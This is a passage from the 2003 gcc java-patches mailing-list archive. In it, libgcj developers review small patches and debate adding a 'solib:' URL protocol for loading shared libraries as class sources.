MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Oscar" == Oscar Pearce writes: Oscar> I was thinking about this (for what little that's worth) and Oscar> I'm not sure that this'll come up in practice. If you're Oscar> redeploying a webapp (for instance), you would expect the app Oscar> server to create a new ClassLoader to serve the newly deployed Oscar> webapp. We could go around modifying the various programs to search for the .so file first and use the (new) solib: URL stuff. Oscar> Actually, thinking about it a little more, wouldn't it make Oscar> more sense to cache only successfully loaded .so files? Our system class loader will look for .so files. If we don't cache the failures then we can end up making a lot of dlopen() calls that just fail. Apparently this can cause performance problems. Tom From java-patches-return-5897-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 24 21:56:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2954 invoked by alias); 24 Jan 2003 21:56:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2946 invoked from network); 24 Jan 2003 21:56:40 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 24 Jan 2003 21:56:40 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA23205; Fri, 24 Jan 2003 14:56:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B0AEA4F8073; Fri, 24 Jan 2003 14:51:37 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: [Patch] Fix for PR/9253: File.listFiles( ) Error on Win32 References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: The PILLSBURY DOUGHBOY is CRYING for an END to BURT REYNOLDS movies!! Date: 24 Jan 2003 14:51:37 -0700 In-Reply-To: Message-ID: <878yxa9pxy.fsf@fleche.redhat.com> Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch fixes PR/9253 as reported by Erik on the main list. Thanks. I'm checking this in to 3.3 and the trunk. FYI, if a patch fixes a PR, put something like this in the ChangeLog entry: Fixes PR java/9253: The text `PR ' must be there exactly, and the category must be correct. If this is done then the commit message will end up in the PR. Ranjit> // FIXME? Ranjit> - strcpy(&buf[total], "\\*.*"); Ranjit> + if (buf[total-1] == '\\') I've removed the FIXME. Also, despite what the gcc rules say, it would be more convenient for me if the ChangeLog were simply part of the patch. That way I can use my tools here to just apply it directly. It is also more convenient for me if patches are made from either the gcc or libjava directory (this patch was fine on that count); I have preset keys in my MUA to apply patches if they are made that way... Tom From java-patches-return-5898-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 01:30:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5530 invoked by alias); 25 Jan 2003 01:30:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5523 invoked from network); 25 Jan 2003 01:30:15 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 25 Jan 2003 01:30:15 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18cF7c-0000kI-00 for ; Sat, 25 Jan 2003 02:28:36 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18cF7b-0000k9-00 for ; Sat, 25 Jan 2003 02:28:35 +0100 From: Ranjit Mathew Subject: Re: Patch: jartool.c and formatted time string in JAR listings Date: Sat, 25 Jan 2003 07:02:08 +0530 Lines: 18 Message-ID: References: <87of6arzuf.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: <87of6arzuf.fsf@fleche.redhat.com> Tom Tromey wrote: > Ranjit> 2003-01-20 Ranjit Mathew > Ranjit> * jartool.c (list_jar): Terminate the 'ascii_date' buffer > Ranjit> with a '\0' to guard against the case where the formatted > Ranjit> time string is more than the size allowed by the buffer. > > This looks good to me. > I'm checking it in on the trunk and the 3.3 branch. FYI, the ChangeLog entry for this seems a bit SNAFU'ed to me... Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5899-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 02:54:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23714 invoked by alias); 25 Jan 2003 02:54:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23707 invoked from network); 25 Jan 2003 02:54:43 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 25 Jan 2003 02:54:43 -0000 Received: from fleche.redhat.com (tq0214.peakpeak.com [207.174.177.214]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA31053; Fri, 24 Jan 2003 19:54:40 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 24A324F8073; Fri, 24 Jan 2003 19:49:38 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jartool.c and formatted time string in JAR listings References: <87of6arzuf.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. If I cover this entire WALL with MAZOLA, wdo I have to give my AGENT ten per cent?? Date: 24 Jan 2003 19:49:37 -0700 In-Reply-To: Message-ID: <87iswe7xku.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> FYI, the ChangeLog entry for this seems a bit SNAFU'ed to me... Yes, oops. I fixed it. Tom From java-patches-return-5900-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 10:30:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18204 invoked by alias); 25 Jan 2003 10:30:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18197 invoked from network); 25 Jan 2003 10:30:53 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 25 Jan 2003 10:30:53 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-9.rdu.redhat.com [172.16.50.9]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 889B9ABAF8; Sat, 25 Jan 2003 10:30:51 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0PAUnq20080; Sat, 25 Jan 2003 10:30:49 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15922.26457.699871.257425@cuddles.cambridge.redhat.com> Date: Sat, 25 Jan 2003 10:30:49 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List Subject: Patch: RFA: solib URLs In-Reply-To: <87lm1a9s0p.fsf@fleche.redhat.com> References: <87lm1a9s0p.fsf@fleche.redhat.com> Tom Tromey writes: > I'm submitting this patch for general review and comment. > I'm planning to eventually check it in on the trunk, but since it is > big and unusual I thought I'd get some feedback first. > > This patch does several related things: > > * Adds a new `solib:' URL protocol handler. A URL of this form is > somewhat like a `file:' URL, but the handler loads the file as a > shared library. It is also somewhat like a `jar:' URL, in that > something of the form `solib:/path/to/libfoo.so!/some/other/path' is > used to look up resources in that shared library. I don't understand the point of this. Why not just use the "file:" prefix instead of adding a nonstandard one? Andrew. From java-patches-return-5901-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 10:55:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24937 invoked by alias); 25 Jan 2003 10:55:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24930 invoked from network); 25 Jan 2003 10:55:58 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 25 Jan 2003 10:55:58 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18cNyN-0002bf-00; Sat, 25 Jan 2003 11:55:39 +0100 Subject: Re: Patch: RFA: solib URLs From: Mark Wielaard To: Andrew Haley Cc: tromey@redhat.com, Java Patch List In-Reply-To: <15922.26457.699871.257425@cuddles.cambridge.redhat.com> References: <87lm1a9s0p.fsf@fleche.redhat.com> <15922.26457.699871.257425@cuddles.cambridge.redhat.com> Content-Type: text/plain Organization: Message-Id: <1043492145.9495.25.camel@elsschot> Mime-Version: 1.0 Date: 25 Jan 2003 11:55:46 +0100 Content-Transfer-Encoding: 7bit Hi, On Sat, 2003-01-25 at 11:30, Andrew Haley wrote: > Tom Tromey writes: > > * Adds a new `solib:' URL protocol handler. A URL of this form is > > somewhat like a `file:' URL, but the handler loads the file as a > > shared library. It is also somewhat like a `jar:' URL, in that > > something of the form `solib:/path/to/libfoo.so!/some/other/path' is > > used to look up resources in that shared library. > > I don't understand the point of this. Why not just use the "file:" > prefix instead of adding a nonstandard one? I was thinking the same thing, but I would suggest just using the "jar:" protocol and then make the jar protocol handler detect if something is a .jar/.zip or a .so file. You could then even go so far as making JarFile and JarInputStream also able to transparently read entries from a .so file. I believe the java.util.jar API is abstract enough to make this possible. But I have to admit that I haven't looked to much into this idea yet (or actually read your patch that carefully...) Cheers, Mark From java-patches-return-5902-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 18:02:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4690 invoked by alias); 25 Jan 2003 18:02:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4683 invoked from network); 25 Jan 2003 18:02:47 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 25 Jan 2003 18:02:47 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18cUbp-0008Tx-00 for ; Sat, 25 Jan 2003 19:00:49 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18cUS8-00080g-00 for ; Sat, 25 Jan 2003 18:50:48 +0100 From: Ranjit Mathew Subject: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc Date: Sat, 25 Jan 2003 23:24:22 +0530 Lines: 45 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, This patch makes "gnu/gcj/runtime/natStackTrace.cc" include "platform.h" so that, at least on Win32, HAVE_BACKTRACE gets defined and the prototype for backtrace( ) gets specified as well. Without this change, backtraces on exceptions do not work on Win32. Checked and tested with 3.3 on Win32, but would recommend testing on a POSIX-ish platform before commit as this inclusion just might have unwarranted effects. I could not find a general guideline or pattern for the precise point at which "platform.h" should be included in a source file - for some of the files I saw it being included immediately after the gcjh generated headers and before standard headers and therefore the location in this patch. Tom, is this ChangeLog-cum-Patch format OK by you? --------------------------------- 8< --------------------------------- 2003-01-25 Ranjit Mathew * gnu/gcj/runtime/natStackTrace.cc: Include platform.h --- gnu/gcj/runtime/natStackTrace.cc 2003-01-24 13:05:30.000000000 +0530 +++ gnu/gcj/runtime/natStackTrace.cc 2003-01-25 07:51:06.000000000 +0530 @@ -32,4 +32,6 @@ details. */ #include +#include "platform.h" + #include --------------------------------- 8< --------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5903-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:18:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27690 invoked by alias); 25 Jan 2003 19:18:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27683 invoked from network); 25 Jan 2003 19:18:36 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 25 Jan 2003 19:18:36 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-33.rdu.redhat.com [172.16.50.33]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 11704ABAF8; Sat, 25 Jan 2003 19:18:30 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0PJINJ25755; Sat, 25 Jan 2003 19:18:23 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> Date: Sat, 25 Jan 2003 19:18:23 +0000 (GMT) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc In-Reply-To: References: Ranjit Mathew writes: > Hi, > > This patch makes "gnu/gcj/runtime/natStackTrace.cc" include > "platform.h" so that, at least on Win32, HAVE_BACKTRACE gets > defined and the prototype for backtrace( ) gets specified as well. No. This is a configure variable, and should be set in configure.in. Andrew. From java-patches-return-5904-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:23:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28275 invoked by alias); 25 Jan 2003 19:23:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28267 invoked from network); 25 Jan 2003 19:23:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 25 Jan 2003 19:23:55 -0000 Received: from fleche.redhat.com (tz0188.peakpeak.com [207.174.69.188]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA02226; Sat, 25 Jan 2003 12:23:53 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CC8D44F8073; Sat, 25 Jan 2003 12:18:56 -0700 (MST) To: Andrew Haley Cc: Ranjit Mathew , java-patches@gcc.gnu.org Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: MERYL STREEP is my obstetrician! Date: 25 Jan 2003 12:18:56 -0700 In-Reply-To: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> Message-ID: <87ptql6nrz.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Ranjit> This patch makes "gnu/gcj/runtime/natStackTrace.cc" include Ranjit> "platform.h" so that, at least on Win32, HAVE_BACKTRACE gets Ranjit> defined and the prototype for backtrace( ) gets specified as well. Andrew> No. This is a configure variable, and should be set in configure.in. In this case, backtrace() is provided by libgcj. I was going to approve this patch. But I see what you mean: we should just AC_DEFINE HAVE_BACKTRACE in configure.in for the appropriate architecture(s). Ranjit, could you do that? And remove the define from win32.h. Tom From java-patches-return-5905-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:26:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28583 invoked by alias); 25 Jan 2003 19:26:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28576 invoked from network); 25 Jan 2003 19:26:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 25 Jan 2003 19:26:35 -0000 Received: from fleche.redhat.com (tz0188.peakpeak.com [207.174.69.188]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA02647; Sat, 25 Jan 2003 12:26:33 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CFC994F8073; Sat, 25 Jan 2003 12:21:39 -0700 (MST) To: Andrew Haley Cc: Java Patch List Subject: Re: Patch: RFA: solib URLs References: <87lm1a9s0p.fsf@fleche.redhat.com> <15922.26457.699871.257425@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm EXCITED!! I want a FLANK STEAK WEEK-END!! I think I'm JULIA CHILD!! Date: 25 Jan 2003 12:21:39 -0700 In-Reply-To: <15922.26457.699871.257425@cuddles.cambridge.redhat.com> Message-ID: <87lm196nng.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> I don't understand the point of this. Why not just use the Andrew> "file:" prefix instead of adding a nonstandard one? I think we can't do that, since how URLClassLoader treats file: URLs is already defined. I admit it would be really unusual for someone to name a jar file `foo.so' and expect it to work as a jar file, or to rely on the jar file reader giving an error if they specified a real .so file. But both those behaviors are what the standard JDK would give. Tom From java-patches-return-5906-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:39:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31350 invoked by alias); 25 Jan 2003 19:39:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31343 invoked from network); 25 Jan 2003 19:39:22 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 25 Jan 2003 19:39:22 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-33.rdu.redhat.com [172.16.50.33]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C7C74ABAF8; Sat, 25 Jan 2003 19:39:19 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0PJdBL25790; Sat, 25 Jan 2003 19:39:11 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Date: Sat, 25 Jan 2003 19:39:11 +0000 (GMT) To: tromey@redhat.com Cc: Ranjit Mathew , java-patches@gcc.gnu.org Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc In-Reply-To: <87ptql6nrz.fsf@fleche.redhat.com> References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > Ranjit> This patch makes "gnu/gcj/runtime/natStackTrace.cc" include > Ranjit> "platform.h" so that, at least on Win32, HAVE_BACKTRACE gets > Ranjit> defined and the prototype for backtrace( ) gets specified as well. > > Andrew> No. This is a configure variable, and should be set in configure.in. > > In this case, backtrace() is provided by libgcj. > I was going to approve this patch. > > But I see what you mean: we should just AC_DEFINE HAVE_BACKTRACE in > configure.in for the appropriate architecture(s). Precisely. Life is complicated enough without autoconf variables being set to be one thing in include/config.h and another elsewhere. For example: say you read your program source and discover that some code is conditional on HAVE_BACKTRACE, so you look in include/config.h and discover that variable isn't set. However, it *is* set, whatever config.h says, just somewhere else. And because you have two contradictory defintions of HAVE_BACKTRACE the result depends on what order platform.h and config.h are included. ARgh! Andrew. From java-patches-return-5907-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:50:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 364 invoked by alias); 25 Jan 2003 19:50:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 357 invoked from network); 25 Jan 2003 19:50:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 25 Jan 2003 19:50:26 -0000 Received: from fleche.redhat.com (tz0188.peakpeak.com [207.174.69.188]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA05849; Sat, 25 Jan 2003 12:50:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C42D54F8073; Sat, 25 Jan 2003 12:45:30 -0700 (MST) To: Mark Wielaard Cc: Andrew Haley , Java Patch List Subject: Re: Patch: RFA: solib URLs References: <87lm1a9s0p.fsf@fleche.redhat.com> <15922.26457.699871.257425@cuddles.cambridge.redhat.com> <1043492145.9495.25.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am NOT a nut.... Date: 25 Jan 2003 12:45:30 -0700 In-Reply-To: <1043492145.9495.25.camel@elsschot> Message-ID: <87hebx6mjp.fsf@fleche.redhat.com> Lines: 61 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> I was thinking the same thing, but I would suggest just using Mark> the "jar:" protocol and then make the jar protocol handler Mark> detect if something is a .jar/.zip or a .so file. To be honest I didn't consider this approach too carefully. I just assumed we couldn't do it, since it is incompatible. There would be some nice benefits of reusing file: (which URLClassLoader will magically change into jar: as appropriate). For instance, you could put a .so file on the default class path. Both you and Andrew suggested this, though, so it has to be a good idea. Perhaps compatibility with the various "won't happen" cases isn't important. What do you think about that? Mark> You could then even go so far as making JarFile and Mark> JarInputStream also able to transparently read entries from a Mark> .so file. I believe the java.util.jar API is abstract enough to Mark> make this possible. I'm not so sure. I haven't looked at JarFile (et al) very much. But as far as URLClassLoader goes, there are differences. With a .so file, there is no way to find the .class file as a resource -- the class always shows up in the helper as a side effect of opening the .so. So parts of URLClassLoader, at least, will still need to know the difference. At least we need to change findClass and the URLLoader (as is done in the current patch). I took a quick look at JarFile. I don't see how we could go this route. We'd have to add an API to let URLClassLoader find the class as a class, not as a resource. We could have a subclass of JarFile that works differently -- but then we don't seem to be gaining much. Reusing jar: would be nice, too, since it would let even more code work without modification. For instance, some code will get a class' CodeSource and pick apart the URL for other purposes. On the other hand, reusing jar: means incompatibility in some areas, like the class-is-not-a-resource thing. I've thought briefly about faking that, too, by returning a 0-length resource in response to a request for a class that really does exist. But that would seem to be a mistake. At some point the applications just have to be changed :-( Mark> But I have to admit that I haven't looked to much into this idea Mark> yet (or actually read your patch that carefully...) I don't think you need to read the patch to have an opinion on how the feature ought to be presented, so no worries there. I think the fundamental idea is that a .so file should be just like a .jar file. That's a simple message we can put out, and that's what the resource compilation patch and this patch were intended to implement. One thing we don't do, that we could do, is also compile a .jar file's manifest into the resulting .so (current gcj explicitly skips this section). I haven't read about manifests (sigh...) so I'm not yet sure how useful that will be. Tom From java-patches-return-5908-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 25 19:54:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4273 invoked by alias); 25 Jan 2003 19:54:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4266 invoked from network); 25 Jan 2003 19:54:31 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 25 Jan 2003 19:54:31 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3E1BCDEE0009D013; Sat, 25 Jan 2003 20:54:29 +0100 Message-ID: <3E32EB74.1050204@pop.agri.ch> Date: Sat, 25 Jan 2003 20:54:28 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: java-patches Subject: Re: darwin: can_unwind_signal = no References: <3E2EE1B2.3090204@pop.agri.ch> <87lm1clxql.fsf@fleche.redhat.com> In-Reply-To: <87lm1clxql.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> I'd like to see this patchlet in both, 3.3 and trunk if possible. > Andreas> It disables can_unwind_signal since darwin lacks the > Andreas> MD_FALLBACK_FRAME_STATE_FOR macro. > > I think this is fine. Do I go right when I assume that I apply that myself when the 'paperwork' is done? Andreas From java-patches-return-5909-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 00:23:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14370 invoked by alias); 26 Jan 2003 00:23:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14363 invoked from network); 26 Jan 2003 00:23:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 26 Jan 2003 00:23:41 -0000 Received: from fleche.redhat.com (tz0188.peakpeak.com [207.174.69.188]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA10879; Sat, 25 Jan 2003 17:23:40 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 87A054F8073; Sat, 25 Jan 2003 17:18:49 -0700 (MST) To: Andreas Tobler Cc: java-patches Subject: Re: darwin: can_unwind_signal = no References: <3E2EE1B2.3090204@pop.agri.ch> <87lm1clxql.fsf@fleche.redhat.com> <3E32EB74.1050204@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Everywhere I look I see NEGATIVITY and ASPHALT... Date: 25 Jan 2003 17:18:49 -0700 In-Reply-To: <3E32EB74.1050204@pop.agri.ch> Message-ID: <87n0lo69w6.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> Do I go right when I assume that I apply that myself when the Andreas> 'paperwork' is done? Yup, this patch is approved. Check it in on the 3.3 branch as well, if you can. If you can't, tell me, and I will do it. Tom From java-patches-return-5910-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 03:46:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7942 invoked by alias); 26 Jan 2003 03:46:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7934 invoked from network); 26 Jan 2003 03:46:29 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 26 Jan 2003 03:46:29 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18cdiy-0008F4-00 for ; Sun, 26 Jan 2003 04:44:48 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 